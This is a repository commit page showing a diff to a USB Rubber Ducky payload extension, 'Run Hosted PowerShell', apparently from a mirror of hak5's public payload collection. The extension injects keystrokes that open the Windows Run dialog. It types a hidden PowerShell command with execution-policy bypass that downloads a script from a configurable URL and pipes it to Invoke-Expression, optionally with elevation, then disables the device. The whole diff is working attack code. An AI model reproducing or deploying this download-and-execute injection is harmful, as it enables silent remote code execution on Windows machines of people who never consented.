hak5
/
usbrubberducky-payloads
mirror of https://github.com/hak5/usbrubberducky-payloads.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Uses a function instead of executing directly

pull/464/head
PlumpyTurkey 2024-07-12 16:41:39 +02:00
parent b469affe05
commit 52f6bdbc6f
1 changed files with 16 additions and 14 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

30
payloads/extensions/community/RUN_HOSTED_POWERSHELL
View File

@ -2,9 +2,9 @@ EXTENSION RUN_HOSTED_POWERSHELL
REM_BLOCK DOCUMENTATION REM_BLOCK DOCUMENTATION
Title: Run Hosted PowerShell Title: Run Hosted PowerShell
Author: PlumpyTurkey Author: PlumpyTurkey
Description: This extension executes a hosted PowerShell script using the Windows Run dialog box. Description: This extension allows you to run a hosted PowerShell script using the Windows Run dialog box.
Target: Windows 10, 11 Target: Windows 10, 11
Version: 1.0 Version: 1.1
END_REM END_REM
REM Required options: REM Required options:
@ -15,20 +15,22 @@ EXTENSION RUN_HOSTED_POWERSHELL
DEFINE #RHP_ELEVATED_EXECUTION FALSE DEFINE #RHP_ELEVATED_EXECUTION FALSE
DEFINE #RHP_DISABLE_AFTER_EXECUTION FALSE DEFINE #RHP_DISABLE_AFTER_EXECUTION FALSE
GUI r FUNCTION RHP_RUN()
GUI r
DELAY #RHP_DELAY
STRING PowerShell -W H -EX Bypass "IWR -UseB '#RHP_SCRIPT_URL' | IEX"
IF_DEFINED_TRUE #RHP_ELEVATED_EXECUTION
CTRL SHIFT ENTER
DELAY #RHP_DELAY DELAY #RHP_DELAY
LEFT STRING PowerShell -W H -EX Bypass "IWR -UseB '#RHP_SCRIPT_URL' | IEX"
END_IF_DEFINED
ENTER IF_DEFINED_TRUE #RHP_ELEVATED_EXECUTION
CTRL SHIFT ENTER
DELAY #RHP_DELAY
LEFT
END_IF_DEFINED
IF_DEFINED_TRUE #RHP_DISABLE_AFTER_EXECUTION ENTER
ATTACKMODE OFF
END_IF_DEFINED IF_DEFINED_TRUE #RHP_DISABLE_AFTER_EXECUTION
ATTACKMODE OFF
END_IF_DEFINED
END_FUNCTION
END_EXTENSION END_EXTENSION